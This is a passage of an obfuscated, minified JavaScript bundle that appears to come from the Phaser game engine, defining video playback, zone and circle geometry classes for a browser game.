_0x52f048['alpha'] * _0x577a05['_alphaTR']), _0x5b7bfe(_0x577a05['tintBottomLeft'], _0x52f048['alpha'] * _0x577a05['_alphaBL']), _0x5b7bfe(_0x577a05['tintBottomRight'], _0x52f048['alpha'] * _0x577a05['_alphaBR']), _0x577a05['tintFill'], _0x577a05['tilePositionX'] % _0x577a05['displayFrame']['width'] / _0x577a05['displayFrame']['width'], _0x577a05['tilePositionY'] % _0x577a05['displayFrame']['height'] / _0x577a05['displayFrame']['height'], _0x52f048, _0x4f7cd7, !0x1, _0x22d8a9); } }; }, 0x4827: (_0x75d68d, _0x5f5ab6, _0x1c5075) => { var _0x2c5b0e = _0x1c5075(0xb107), _0x5d801a = _0x1c5075(0x145db), _0xda5f99 = _0x1c5075(0x7aa9), _0x1a9f93 = _0x1c5075(0xc9fc), _0x552dcb = _0x1c5075(0x20fb), _0x5d7675 = _0x1c5075(0x1759b), _0x59d23d = _0x1c5075(0x8e1f), _0x37b83e = _0x1c5075(0x387f), _0xa4c077 = _0x1c5075(0xb252), _0x5173f5 = _0x1c5075(0x2807), _0x56a65a = new _0x5d801a({ 'Extends': _0x5d7675, 'Mixins': [_0xda5f99['Alpha'], _0xda5f99['BlendMode'], _0xda5f99['ComputedSize'], _0xda5f99['Depth'], _0xda5f99['Flip'], _0xda5f99['GetBounds'], _0xda5f99['Mask'], _0xda5f99['Origin'], _0xda5f99['Pipeline'], _0xda5f99['PostPipeline'], _0xda5f99['ScrollFactor'], _0xda5f99['TextureCrop'], _0xda5f99['Tint'], _0xda5f99['Transform'], _0xda5f99['Visible'], _0x5173f5], 'initialize': function (_0x1e5ffa, _0x33dba4, _0x5d367f, _0x11dcd4) { _0x5d7675['call'](this, _0x1e5ffa, 'Video'), this['video'], this['videoTexture'], this['videoTextureSource'], this['snapshotTexture'], this['flipY'] = !0x1, this['_key'] = _0xa4c077(), this['touchLocked'] = !0x1, this['playWhenUnlocked'] = !0x1, this['frameReady'] = !0x1, this['isStalled'] = !0x1, this['failedPlayAttempts'] = 0x0, this['metadata'], this['retry'] = 0x0, this['retryInterval'] = 0x1f4, this['_systemMuted'] = !0x1, this['_codeMuted'] = !0x1, this['_systemPaused'] = !0x1, this['_codePaused'] = !0x1, this['_callbacks'] = { 'ended': this['completeHandler']['bind'](this), 'legacy': this['legacyPlayHandler']['bind'](this), 'playing': this['playingHandler']['bind'](this), 'seeked': this['seekedHandler']['bind'](this), 'seeking': this['seekingHandler']['bind'](this), 'stalled': this['stalledHandler']['bind'](this), 'suspend': this['stalledHandler']['bind'](this), 'waiting': this['stalledHandler']['bind'](this) }, this['_loadCallbackHandler'] = this['loadErrorHandler']['bind'](this), this['_metadataCallbackHandler'] = this['metadataHandler']['bind'](this), this['_crop'] = this['resetCropObject'](), this['markers'] = {}, this['_markerIn'] = 0x0, this['_markerOut'] = 0x0, this['_playingMarker'] = !0x1, this['_lastUpdate'] = 0x0, this['cacheKey'] = '', this['isSeeking'] = !0x1, this['_playCalled'] = !0x1, this['_getFrame'] = !0x1, this['_rfvCallbackId'] = 0x0; var _0x5c77a8 = _0x1e5ffa['sys']['game']; this['_device'] = _0x5c77a8['device']['video'], this['setPosition'](_0x33dba4, _0x5d367f), this['setSize'](0x100, 0x100), this['initPipeline'](), this['initPostPipeline'](!0x0), _0x5c77a8['events']['on'](_0x552dcb['PAUSE'], this['globalPause'], this), _0x5c77a8['events']['on'](_0x552dcb['RESUME'], this['globalResume'], this); var _0x2ea3a8 = _0x1e5ffa['sys']['sound']; _0x2ea3a8 && _0x2ea3a8['on'](_0x37b83e['GLOBAL_MUTE'], this['globalMute'], this), _0x11dcd4 && this['load'](_0x11dcd4); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'load': function (_0x29e52b) { var _0x4e59ac = this['scene']['sys']['cache']['video']['get'](_0x29e52b); return _0x4e59ac && (this['cacheKey'] = _0x29e52b, this['loadHandler'](_0x4e59ac['url'], _0x4e59ac['noAudio'], _0x4e59ac['crossOrigin'])), this; }, 'changeSource': function (_0x4f75a3, _0x11b488, _0x5450ae, _0x3eea88, _0x536010) { void 0x0 === _0x11b488 && (_0x11b488 = !0x0), void 0x0 === _0x5450ae && (_0x5450ae = !0x1), this['cacheKey'] !== _0x4f75a3 && (this['load'](_0x4f75a3), _0x11b488 && this['play'](_0x5450ae, _0x3eea88, _0x536010)); }, 'getVideoKey': function () { return this['cacheKey']; }, 'loadURL': function (_0x6b3079, _0x72c1de, _0xa80f01) { void 0x0 === _0x72c1de && (_0x72c1de = !0x1); var _0x457c41 = this['_device']['getVideoURL'](_0x6b3079); return _0x457c41 && (this['cacheKey'] = '', this['loadHandler'](_0x457c41['url'], _0x72c1de, _0xa80f01)), this; }, 'loadMediaStream': function (_0x4f5057, _0x37f2f6, _0x11fff8) { return this['loadHandler'](null, _0x37f2f6, _0x11fff8, _0x4f5057); }, 'loadHandler': function (_0x1988c1, _0x55a9ea, _0x7decd3, _0x20a523) { _0x55a9ea || (_0x55a9ea = !0x1); var _0x1548c3 = this['video']; if (_0x1548c3 ? (this['removeLoadEventHandlers'](), this['stop']()) : ((_0x1548c3 = document['createElement']('video'))['controls'] = !0x1, _0x1548c3['setAttribute']('playsinline', 'playsinline'), _0x1548c3['setAttribute']('preload', 'auto'), _0x1548c3['setAttribute']('disablePictureInPicture', 'true')), _0x55a9ea ? (_0x1548c3['muted'] = !0x0, _0x1548c3['defaultMuted'] = !0x0, _0x1548c3['setAttribute']('autoplay', 'autoplay')) : (_0x1548c3['muted'] = !0x1, _0x1548c3['defaultMuted'] = !0x1, _0x1548c3['removeAttribute']('autoplay')), _0x7decd3 ? _0x1548c3['setAttribute']('crossorigin', _0x7decd3) : _0x1548c3['removeAttribute']('crossorigin'), _0x20a523) { if ('srcObject' in _0x1548c3) try { _0x1548c3['srcObject'] = _0x20a523; } catch (_0x30c670) { if ('TypeError' !== _0x30c670['name']) throw _0x30c670; _0x1548c3['src'] = URL['createObjectURL'](_0x20a523); } else _0x1548c3['src'] = URL['createObjectURL'](_0x20a523); } else _0x1548c3['src'] = _0x1988c1; this['retry'] = 0x0, this['video'] = _0x1548c3, this['_playCalled'] = !0x1, _0x1548c3['load'](), this['addLoadEventHandlers'](); var _0x4ad4c6 = this['scene']['sys']['textures']['get'](this['_key']); return this['setTexture'](_0x4ad4c6), this; }, 'requestVideoFrame': function (_0x107ec4, _0x6e2f49) { var _0xce2e17 = this['video']; if (_0xce2e17) { var _0x295cae = _0x6e2f49['width'], _0x1b2049 = _0x6e2f49['height'], _0x41c239 = this['videoTexture'], _0x3a564e = this['videoTextureSource'], _0x91280f = !_0x41c239 || _0x3a564e['source'] !== _0xce2e17; _0x91280f ? (this['_codePaused'] = _0xce2e17['paused'], this['_codeMuted'] = _0xce2e17['muted'], _0x41c239 ? (_0x3a564e['source'] = _0xce2e17, _0x3a564e['width'] = _0x295cae, _0x3a564e['height'] = _0x1b2049, _0x41c239['get']()['setSize'](_0x295cae, _0x1b2049)) : ((_0x41c239 = this['scene']['sys']['textures']['create'](this['_key'], _0xce2e17, _0x295cae, _0x1b2049))['add']('__BASE', 0x0, 0x0, 0x0, _0x295cae, _0x1b2049), this['setTexture'](_0x41c239), this['videoTexture'] = _0x41c239, this['videoTextureSource'] = _0x41c239['source'][0x0], this['videoTextureSource']['setFlipY'](this['flipY']), this['emit'](_0x1a9f93['VIDEO_TEXTURE'], this, _0x41c239)), this['setSizeToFrame'](), this['updateDisplayOrigin']()) : _0x3a564e['update'](), this['isStalled'] = !0x1, this['metadata'] = _0x6e2f49; var _0x45e72b = _0x6e2f49['mediaTime']; _0x91280f && (this['_lastUpdate'] = _0x45e72b, this['emit'](_0x1a9f93['VIDEO_CREATED'], this, _0x295cae, _0x1b2049), this['frameReady'] || (this['frameReady'] = !0x0, this['emit'](_0x1a9f93['VIDEO_PLAY'], this))), this['_playingMarker'] ? _0x45e72b >= this['_markerOut'] && (_0xce2e17['loop'] ? (_0xce2e17['currentTime'] = this['_markerIn'], this['emit'](_0x1a9f93['VIDEO_LOOP'], this)) : (this['stop'](!0x1), this['emit'](_0x1a9f93['VIDEO_COMPLETE'], this))) : _0x45e72b < this['_lastUpdate'] && this['emit'](_0x1a9f93['VIDEO_LOOP'], this), this['_lastUpdate'] = _0x45e72b, this['_getFrame'] ? (this['removeEventHandlers'](), _0xce2e17['pause'](), this['_getFrame'] = !0x1) : this['_rfvCallbackId'] = this['video']['requestVideoFrameCallback'](this['requestVideoFrame']['bind'](this)); } }, 'play': function (_0x3656b1, _0x402dd7, _0x1de00e) { void 0x0 === _0x402dd7 && (_0x402dd7 = -0x1), void 0x0 === _0x1de00e && (_0x1de00e = _0x59d23d['MAX_SAFE_INTEGER']); var _0x588cbe = this['video']; return !_0x588cbe || this['isPlaying']() || (void 0x0 === _0x3656b1 && (_0x3656b1 = _0x588cbe['loop']), _0x588cbe['loop'] = _0x3656b1, this['_markerIn'] = _0x402dd7, this['_markerOut'] = _0x1de00e, this['_playingMarker'] = _0x402dd7 > -0x1 && _0x1de00e > _0x402dd7 && _0x1de00e < _0x59d23d['MAX_SAFE_INTEGER'], this['_playCalled'] || (this['_getFrame'] = !0x1, this['_rfvCallbackId'] = _0x588cbe['requestVideoFrameCallback'](this['requestVideoFrame']['bind'](this)), this['_playCalled'] = !0x0, this['createPlayPromise']())), this; }, 'getFirstFrame': function () { var _0x228bec = this['video']; return !_0x228bec || this['isPlaying']() || this['_playCalled'] || (this['_getFrame'] = !0x0, this['_rfvCallbackId'] = _0x228bec['requestVideoFrameCallback'](this['requestVideoFrame']['bind'](this)), this['createPlayPromise']()), this; }, 'addLoadEventHandlers': function () { var _0x3016c6 = this['video']; _0x3016c6 && (_0x3016c6['addEventListener']('error', this['_loadCallbackHandler']), _0x3016c6['addEventListener']('abort', this['_loadCallbackHandler']), _0x3016c6['addEventListener']('loadedmetadata', this['_metadataCallbackHandler'])); }, 'removeLoadEventHandlers': function () { var _0x2a98de = this['video']; _0x2a98de && (_0x2a98de['removeEventListener']('error', this['_loadCallbackHandler']), _0x2a98de['removeEventListener']('abort', this['_loadCallbackHandler'])); }, 'addEventHandlers': function () { var _0x3b1204 = this['video']; if (_0x3b1204) { var _0x1ab225 = this['_callbacks']; for (var _0xae1302 in _0x1ab225) _0x3b1204['addEventListener'](_0xae1302, _0x1ab225[_0xae1302]); } }, 'removeEventHandlers': function () { var _0x11e50e = this['video']; if (_0x11e50e) { var _0x50c725 = this['_callbacks']; for (var _0x1f5524 in _0x50c725) _0x11e50e['removeEventListener'](_0x1f5524, _0x50c725[_0x1f5524]); } }, 'createPlayPromise': function (_0x4642b5) { void 0x0 === _0x4642b5 && (_0x4642b5 = !0x0); var _0x48bffe = this['video'], _0x20ce3 = _0x48bffe['play'](); if (void 0x0 !== _0x20ce3) { var _0x19a769 = this['playSuccess']['bind'](this), _0x5854d9 = this['playError']['bind'](this); if (!_0x4642b5) { var _0x599934 = this; _0x5854d9 = function () { _0x599934['failedPlayAttempts']++; }; } _0x20ce3['then'](_0x19a769)['catch'](_0x5854d9); } else _0x48bffe['addEventListener']('playing', this['_callbacks']['legacy']), _0x4642b5 || this['failedPlayAttempts']++; }, 'addMarker': function (_0x34c59b, _0x5639ef, _0x2faff6) { return !isNaN(_0x5639ef) && _0x5639ef >= 0x0 && !isNaN(_0x2faff6) && _0x2faff6 > _0x5639ef && (this['markers'][_0x34c59b] = [_0x5639ef, _0x2faff6]), this; }, 'playMarker': function (_0x1b7c58, _0x5fe4c8) { var _0x510314 = this['markers'][_0x1b7c58]; return _0x510314 && this['play'](_0x5fe4c8, _0x510314[0x0], _0x510314[0x1]), this; }, 'removeMarker': function (_0x3d5285) { return delete this['markers'][_0x3d5285], this; }, 'snapshot': function (_0x1dd638, _0x2c5282) { return void 0x0 === _0x1dd638 && (_0x1dd638 = this['width']), void 0x0 === _0x2c5282 && (_0x2c5282 = this['height']), this['snapshotArea'](0x0, 0x0, this['width'], this['height'], _0x1dd638, _0x2c5282); }, 'snapshotArea': function (_0x637296, _0x12a392, _0x865eff, _0x2177f8, _0x43ec0d, _0x1af6b7) { void 0x0 === _0x637296 && (_0x637296 = 0x0), void 0x0 === _0x12a392 && (_0x12a392 = 0x0), void 0x0 === _0x865eff && (_0x865eff = this['width']), void 0x0 === _0x2177f8 && (_0x2177f8 = this['height']), void 0x0 === _0x43ec0d && (_0x43ec0d = _0x865eff), void 0x0 === _0x1af6b7 && (_0x1af6b7 = _0x2177f8); var _0x496913 = this['video'], _0x38530c = this['snapshotTexture']; return _0x38530c ? (_0x38530c['setSize'](_0x43ec0d, _0x1af6b7), _0x496913 && _0x38530c['context']['drawImage'](_0x496913, _0x637296, _0x12a392, _0x865eff, _0x2177f8, 0x0, 0x0, _0x43ec0d, _0x1af6b7)) : (_0x38530c = this['scene']['sys']['textures']['createCanvas'](_0xa4c077(), _0x43ec0d, _0x1af6b7), this['snapshotTexture'] = _0x38530c, _0x496913 && _0x38530c['context']['drawImage'](_0x496913, _0x637296, _0x12a392, _0x865eff, _0x2177f8, 0x0, 0x0, _0x43ec0d, _0x1af6b7)), _0x38530c['update'](); }, 'saveSnapshotTexture': function (_0x1a267b) { return this['snapshotTexture'] ? this['scene']['sys']['textures']['renameTexture'](this['snapshotTexture']['key'], _0x1a267b) : this['snapshotTexture'] = this['scene']['sys']['textures']['createCanvas'](_0x1a267b, this['width'], this['height']), this['snapshotTexture']; }, 'playSuccess': function () { if (this['_playCalled']) { this['addEventHandlers'](), this['_codePaused'] = !0x1, this['touchLocked'] && (this['touchLocked'] = !0x1, this['emit'](_0x1a9f93['VIDEO_UNLOCKED'], this)); var _0x689cad = this['scene']['sys']['sound']; _0x689cad && _0x689cad['mute'] && this['setMute'](!0x0), this['_markerIn'] > -0x1 && (this['video']['currentTime'] = this['_markerIn']); } }, 'playError': function (_0x243b9d) { var _0x50040f = _0x243b9d['name']; 'NotAllowedError' === _0x50040f ? (this['touchLocked'] = !0x0, this['playWhenUnlocked'] = !0x0, this['failedPlayAttempts'] = 0x1, this['emit'](_0x1a9f93['VIDEO_LOCKED'], this)) : 'NotSupportedError' === _0x50040f ? (this['stop'](!0x1), this['emit'](_0x1a9f93['VIDEO_UNSUPPORTED'], this, _0x243b9d)) : (this['stop'](!0x1), this['emit'](_0x1a9f93['VIDEO_ERROR'], this, _0x243b9d)); }, 'legacyPlayHandler': function () { var _0xb93de2 = this['video']; _0xb93de2 && (this['playSuccess'](), _0xb93de2['removeEventListener']('playing', this['_callbacks']['legacy'])); }, 'playingHandler': function () { this['isStalled'] = !0x1, this['emit'](_0x1a9f93['VIDEO_PLAYING'], this); }, 'loadErrorHandler': function (_0x57d36c) { this['stop'](!0x1), this['emit'](_0x1a9f93['VIDEO_ERROR'], this, _0x57d36c); }, 'metadataHandler': function (_0x935bbc) { this['emit'](_0x1a9f93['VIDEO_METADATA'], this, _0x935bbc); }, 'setSizeToFrame': function (_0x47da3a) { _0x47da3a || (_0x47da3a = this['frame']), this['width'] = _0x47da3a['realWidth'], this['height'] = _0x47da3a['realHeight'], 0x1 !== this['scaleX'] && (this['scaleX'] = this['displayWidth'] / this['width']), 0x1 !== this['scaleY'] && (this['scaleY'] = this['displayHeight'] / this['height']); var _0x3f1c53 = this['input']; return _0x3f1c53 && !_0x3f1c53['customHitArea'] && (_0x3f1c53['hitArea']['width'] = this['width'], _0x3f1c53['hitArea']['height'] = this['height']), this; }, 'stalledHandler': function (_0x506e34) { this['isStalled'] = !0x0, this['emit'](_0x1a9f93['VIDEO_STALLED'], this, _0x506e34); }, 'completeHandler': function () { this['_playCalled'] = !0x1, this['emit'](_0x1a9f93['VIDEO_COMPLETE'], this); }, 'preUpdate': function (_0x14018c, _0x3715d9) { this['video'] && this['_playCalled'] && this['touchLocked'] && this['playWhenUnlocked'] && (this['retry'] += _0x3715d9, this['retry'] >= this['retryInterval'] && (this['createPlayPromise'](!0x1), this['retry'] = 0x0)); }, 'seekTo': function (_0x4c6b12) { var _0x44e142 = this['video']; if (_0x44e142) { var _0x107093 = _0x44e142['duration']; if (_0x107093 !== 0x1 / 0x0 && !isNaN(_0x107093)) { var _0x71cc28 = _0x107093 * _0x4c6b12; this['setCurrentTime'](_0x71cc28); } } return this; }, 'getCurrentTime': function () { return this['video'] ? this['video']['currentTime'] : 0x0; }, 'setCurrentTime': function (_0x2f6cc1) { var _0x3341dd = this['video']; if (_0x3341dd) { if ('string' == typeof _0x2f6cc1) { var _0x264524 = _0x2f6cc1[0x0], _0x1b5095 = parseFloat(_0x2f6cc1['substr'](0x1)); '+' === _0x264524 ? _0x2f6cc1 = _0x3341dd['currentTime'] + _0x1b5095 : '-' === _0x264524 && (_0x2f6cc1 = _0x3341dd['currentTime'] - _0x1b5095); } _0x3341dd['currentTime'] = _0x2f6cc1; } return this; }, 'seekingHandler': function () { this['isSeeking'] = !0x0, this['emit'](_0x1a9f93['VIDEO_SEEKING'], this); }, 'seekedHandler': function () { this['isSeeking'] = !0x1, this['emit'](_0x1a9f93['VIDEO_SEEKED'], this); }, 'getProgress': function () { var _0x2589ab = this['video']; if (_0x2589ab) { var _0x5c210c = _0x2589ab['duration']; if (_0x5c210c !== 0x1 / 0x0 && !isNaN(_0x5c210c)) return _0x2589ab['currentTime'] / _0x5c210c; } return -0x1; }, 'getDuration': function () { return this['video'] ? this['video']['duration'] : 0x0; }, 'setMute': function (_0x37d249) { void 0x0 === _0x37d249 && (_0x37d249 = !0x0), this['_codeMuted'] = _0x37d249; var _0x3f90fd = this['video']; return _0x3f90fd && (_0x3f90fd['muted'] = !!this['_systemMuted'] || _0x37d249), this; }, 'isMuted': function () { return this['_codeMuted']; }, 'globalMute': function (_0x46e548, _0x23b026) { this['_systemMuted'] = _0x23b026; var _0x272d36 = this['video']; _0x272d36 && (_0x272d36['muted'] = !!this['_codeMuted'] || _0x23b026); }, 'globalPause': function () { this['_systemPaused'] = !0x0, this['video'] && !this['video']['ended'] && (this['removeEventHandlers'](), this['video']['pause']()); }, 'globalResume': function () { this['_systemPaused'] = !0x1, !this['video'] || this['_codePaused'] || this['video']['ended'] || this['createPlayPromise'](); }, 'setPaused': function (_0x1c598f) { void 0x0 === _0x1c598f && (_0x1c598f = !0x0); var _0x256813 = this['video']; return this['_codePaused'] = _0x1c598f, _0x256813 && !_0x256813['ended'] && (_0x1c598f ? _0x256813['paused'] || (this['removeEventHandlers'](), _0x256813['pause']()) : _0x1c598f || (this['_playCalled'] ? _0x256813['paused'] && !this['_systemPaused'] && this['createPlayPromise']() : this['play']())), this; }, 'pause': function () { return this['setPaused'](!0x0); }, 'resume': function () { return this['setPaused'](!0x1); }, 'getVolume': function () { return this['video'] ? this['video']['volume'] : 0x1; }, 'setVolume': function (_0x5ad7e3) { return void 0x0 === _0x5ad7e3 && (_0x5ad7e3 = 0x1), this['video'] && (this['video']['volume'] = _0x2c5b0e(_0x5ad7e3, 0x0, 0x1)), this; }, 'getPlaybackRate': function () { return this['video'] ? this['video']['playbackRate'] : 0x1; }, 'setPlaybackRate': function (_0x32fe37) { return this['video'] && (this['video']['playbackRate'] = _0x32fe37), this; }, 'getLoop': function () { return !!this['video'] && this['video']['loop']; }, 'setLoop': function (_0x154d89) { return void 0x0 === _0x154d89 && (_0x154d89 = !0x0), this['video'] && (this['video']['loop'] = _0x154d89), this; }, 'isPlaying': function () { return !!this['video'] && !(this['video']['paused'] || this['video']['ended']); }, 'isPaused': function () { return this['video'] && this['_playCalled'] && this['video']['paused'] || this['_codePaused'] || this['_systemPaused']; }, 'saveTexture': function (_0x5cba5d, _0x3e3eac) { return void 0x0 === _0x3e3eac && (_0x3e3eac = !0x1), this['videoTexture'] && (this['scene']['sys']['textures']['renameTexture'](this['_key'], _0x5cba5d), this['videoTextureSource']['setFlipY'](_0x3e3eac)), this['_key'] = _0x5cba5d, this['flipY'] = _0x3e3eac, !!this['videoTexture']; }, 'stop': function (_0x18dec2) { void 0x0 === _0x18dec2 && (_0x18dec2 = !0x0); var _0x113e52 = this['video']; return _0x113e52 && (this['removeEventHandlers'](), _0x113e52['cancelVideoFrameCallback'](this['_rfvCallbackId']), _0x113e52['pause']()), this['retry'] = 0x0, this['_playCalled'] = !0x1, _0x18dec2 && this['emit'](_0x1a9f93['VIDEO_STOP'], this), this; }, 'removeVideoElement': function () { var _0xe92db = this['video']; if (_0xe92db) { for (_0xe92db['parentNode'] && _0xe92db['parentNode']['removeChild'](_0xe92db); _0xe92db['hasChildNodes']();)_0xe92db['removeChild'](_0xe92db['firstChild']); _0xe92db['removeAttribute']('autoplay'), _0xe92db['removeAttribute']('src'), this['video'] = null; } }, 'preDestroy': function () { this['stop'](!0x1), this['removeLoadEventHandlers'](), this['removeVideoElement'](); var _0x54dca1 = this['scene']['sys']['game']['events']; _0x54dca1['off'](_0x552dcb['PAUSE'], this['globalPause'], this), _0x54dca1['off'](_0x552dcb['RESUME'], this['globalResume'], this); var _0x5cb7f6 = this['scene']['sys']['sound']; _0x5cb7f6 && _0x5cb7f6['off'](_0x37b83e['GLOBAL_MUTE'], this['globalMute'], this); } }); _0x75d68d['exports'] = _0x56a65a; }, 0xe3f0: _0x342c71 => { _0x342c71['exports'] = function (_0x4dc6b1, _0x323261, _0x3794d6, _0x14cc0c) { _0x323261['videoTexture'] && (_0x3794d6['addToRenderList'](_0x323261), _0x4dc6b1['batchSprite'](_0x323261, _0x323261['frame'], _0x3794d6, _0x14cc0c)); }; }, 0x2cf7: (_0x31d046, _0x24dfe4, _0x5acd64) => { var _0xae58f0 = _0x5acd64(0x62d9), _0x5b8e0a = _0x5acd64(0xae3b), _0x638969 = _0x5acd64(0x5c10), _0x52d66a = _0x5acd64(0x4827); _0x5b8e0a['register']('video', function (_0x131c38, _0x5cfaf4) { void 0x0 === _0x131c38 && (_0x131c38 = {}); var _0x3e7580 = _0x638969(_0x131c38, 'key', null), _0xca51e0 = new _0x52d66a(this['scene'], 0x0, 0x0, _0x3e7580); return void 0x0 !== _0x5cfaf4 && (_0x131c38['add'] = _0x5cfaf4), _0xae58f0(this['scene'], _0xca51e0, _0x131c38), _0xca51e0; }); }, 0x15bc1: (_0x6fb2e8, _0x35b7e8, _0x23f577) => { var _0x2aee2e = _0x23f577(0x4827); _0x23f577(0x9a05)['register']('video', function (_0x40e5bb, _0x17e714, _0x564638) { return this['displayList']['add'](new _0x2aee2e(this['scene'], _0x40e5bb, _0x17e714, _0x564638)); }); }, 0x2807: (_0x256723, _0x1a3aa3, _0x173765) => { var _0x435d85 = _0x173765(0x7433), _0x4deebe = _0x435d85, _0x637262 = _0x435d85; _0x4deebe = _0x173765(0x7499), _0x637262 = _0x173765(0xe3f0), _0x256723['exports'] = { 'renderWebGL': _0x4deebe, 'renderCanvas': _0x637262 }; }, 0x7499: _0x445ae6 => { _0x445ae6['exports'] = function (_0x4b0fee, _0xae80eb, _0x197731, _0x57eb79) { _0xae80eb['videoTexture'] && (_0x197731['addToRenderList'](_0xae80eb), _0xae80eb['pipeline']['batchSprite'](_0xae80eb, _0x197731, _0x57eb79)); }; }, 0xa209: (_0x4280c3, _0x1e9d48, _0x25cb4a) => { var _0x32b847 = _0x25cb4a(0x2848), _0x48745d = _0x25cb4a(0x178f7), _0x21b655 = _0x25cb4a(0x1575e), _0x1f5226 = _0x25cb4a(0x145db), _0x569c7d = _0x25cb4a(0x7aa9), _0x40939f = _0x25cb4a(0x1759b), _0x5bb93c = _0x25cb4a(0x15721), _0x33abdc = _0x25cb4a(0x91b7), _0x4e1d15 = new _0x1f5226({ 'Extends': _0x40939f, 'Mixins': [_0x569c7d['Depth'], _0x569c7d['GetBounds'], _0x569c7d['Origin'], _0x569c7d['Transform'], _0x569c7d['ScrollFactor'], _0x569c7d['Visible']], 'initialize': function (_0x2313ad, _0x4604b4, _0x41cde8, _0x37cc50, _0x88bc65) { void 0x0 === _0x37cc50 && (_0x37cc50 = 0x1), void 0x0 === _0x88bc65 && (_0x88bc65 = _0x37cc50), _0x40939f['call'](this, _0x2313ad, 'Zone'), this['setPosition'](_0x4604b4, _0x41cde8), this['width'] = _0x37cc50, this['height'] = _0x88bc65, this['blendMode'] = _0x32b847['NORMAL'], this['updateDisplayOrigin'](); }, 'displayWidth': { 'get': function () { return this['scaleX'] * this['width']; }, 'set': function (_0x41a3e1) { this['scaleX'] = _0x41a3e1 / this['width']; } }, 'displayHeight': { 'get': function () { return this['scaleY'] * this['height']; }, 'set': function (_0x9ade0f) { this['scaleY'] = _0x9ade0f / this['height']; } }, 'setSize': function (_0x229521, _0xf96cf1, _0x33f876) { void 0x0 === _0x33f876 && (_0x33f876 = !0x0), this['width'] = _0x229521, this['height'] = _0xf96cf1, this['updateDisplayOrigin'](); var _0x261e57 = this['input']; return _0x33f876 && _0x261e57 && !_0x261e57['customHitArea'] && (_0x261e57['hitArea']['width'] = _0x229521, _0x261e57['hitArea']['height'] = _0xf96cf1), this; }, 'setDisplaySize': function (_0x5dd0de, _0x20ac2a) { return this['displayWidth'] = _0x5dd0de, this['displayHeight'] = _0x20ac2a, this; }, 'setCircleDropZone': function (_0x4346ad) { return this['setDropZone'](new _0x48745d(0x0, 0x0, _0x4346ad), _0x21b655); }, 'setRectangleDropZone': function (_0x279d85, _0xdb6a58) { return this['setDropZone'](new _0x5bb93c(0x0, 0x0, _0x279d85, _0xdb6a58), _0x33abdc); }, 'setDropZone': function (_0x1a0bb5, _0x11ae53) { return this['input'] || this['setInteractive'](_0x1a0bb5, _0x11ae53, !0x0), this; }, 'setAlpha': function () { }, 'setBlendMode': function () { }, 'renderCanvas': function (_0x23b61b, _0x20bc91, _0x54f6ed) { _0x54f6ed['addToRenderList'](_0x20bc91); }, 'renderWebGL': function (_0x200955, _0x2bb72e, _0x45b468) { _0x45b468['addToRenderList'](_0x2bb72e); } }); _0x4280c3['exports'] = _0x4e1d15; }, 0x1741d: (_0x330b18, _0x2017d2, _0x11bba8) => { var _0x5f34d3 = _0x11bba8(0xae3b), _0x2ffa25 = _0x11bba8(0x5c10), _0xcc51b4 = _0x11bba8(0xa209); _0x5f34d3['register']('zone', function (_0x544f9d) { var _0x298070 = _0x2ffa25(_0x544f9d, 'x', 0x0), _0x3ef911 = _0x2ffa25(_0x544f9d, 'y', 0x0), _0x25d191 = _0x2ffa25(_0x544f9d, 'width', 0x1), _0x43f8f3 = _0x2ffa25(_0x544f9d, 'height', _0x25d191); return new _0xcc51b4(this['scene'], _0x298070, _0x3ef911, _0x25d191, _0x43f8f3); }); }, 0x148cf: (_0x10db2c, _0x3e2497, _0x472825) => { var _0x225e07 = _0x472825(0xa209); _0x472825(0x9a05)['register']('zone', function (_0x2de90e, _0x12e4d1, _0x5d9536, _0xb8c778) { return this['displayList']['add'](new _0x225e07(this['scene'], _0x2de90e, _0x12e4d1, _0x5d9536, _0xb8c778)); }); }, 0x173be: _0x33c3aa => { _0x33c3aa['exports'] = function (_0xbe145) { return _0xbe145['radius'] > 0x0 ? Math['PI'] * _0xbe145['radius'] * _0xbe145['radius'] : 0x0; }; }, 0x178f7: (_0x334642, _0x403026, _0x576528) => { var _0x4e04e0 = _0x576528(0x145db), _0x3bfb02 = _0x576528(0x1575e), _0x3f7903 = _0x576528(0x6681), _0x23a639 = _0x576528(0x13514), _0x47e48b = _0x576528(0x5ce1), _0x5a0028 = _0x576528(0x6e10), _0x48cf4d = new _0x4e04e0({ 'initialize': function (_0x565d13, _0x2353df, _0x1e4bb9) { void 0x0 === _0x565d13 && (_0x565d13 = 0x0), void 0x0 === _0x2353df && (_0x2353df = 0x0), void 0x0 === _0x1e4bb9 && (_0x1e4bb9 = 0x0), this['type'] = _0x47e48b['CIRCLE'], this['x'] = _0x565d13, this['y'] = _0x2353df, this['_radius'] = _0x1e4bb9, this['_diameter'] = 0x2 * _0x1e4bb9; }, 'contains': function (_0x5d6031, _0x3cb628) { return _0x3bfb02(this, _0x5d6031, _0x3cb628); }, 'getPoint': function (_0x260164, _0x59c045) { return _0x3f7903(this, _0x260164, _0x59c045); }, 'getPoints': function (_0x2fdc5e, _0x583038, _0x55ae54) { return _0x23a639(this, _0x2fdc5e, _0x583038, _0x55ae54); }, 'getRandomPoint': function (_0x80ca2e) { return _0x5a0028(this, _0x80ca2e); }, 'setTo': function (_0x5aef45, _0x15287f, _0x44345f) { return this['x'] = _0x5aef45, this['y'] = _0x15287f, this['_radius'] = _0x44345f, this['_diameter'] = 0x2 * _0x44345f, this; }, 'setEmpty': function () { return this['_radius'] = 0x0, this['_diameter'] = 0x0, this; }, 'setPosition': function (_0x288f00, _0x17c740) { return void 0x0 === _0x17c740 && (_0x17c740 = _0x288f00), this['x'] = _0x288f00, this['y'] = _0x17c740, this; }, 'isEmpty': function () { return this['_radius'] <= 0x0; }, 'radius': { 'get': function () { return this['_radius']; }, 'set': function (_0x2c064a) { this['_radius'] = _0x2c064a, this['_diameter'] = 0x2 * _0x2c064a; } }, 'diameter': { 'get': function () { return this['_diameter']; }, 'set': function (_0x14b585) { this['_diameter'] = _0x14b585, this['_radius'] = 0.5 * _0x14b585; } }, 'left': { 'get': function () { return this['x'] - this['_radius']; }, 'set': function (_0x31c1c9) { this['x'] = _0x31c1c9 + this['_radius']; } }, 'right': { 'get': function () { return this['x'] + this['_radius']; }, 'set': function (_0x499ae7) { this['x'] = _0x499ae7 - this['_radius']; } }, 'top': { 'get': function () { return this['y'] - this['_radius']; }, 'set': function (_0x1af189) { this['y'] = _0x1af189 + this['_radius']; } }, 'bottom': { 'get': function () { return this['y'] + this['_radius']; }, 'set': function (_0x503229) { this['y'] = _0x503229 - this['_radius']; } } }); _0x334642['exports'] = _0x48cf4d; }, 0x1178a: 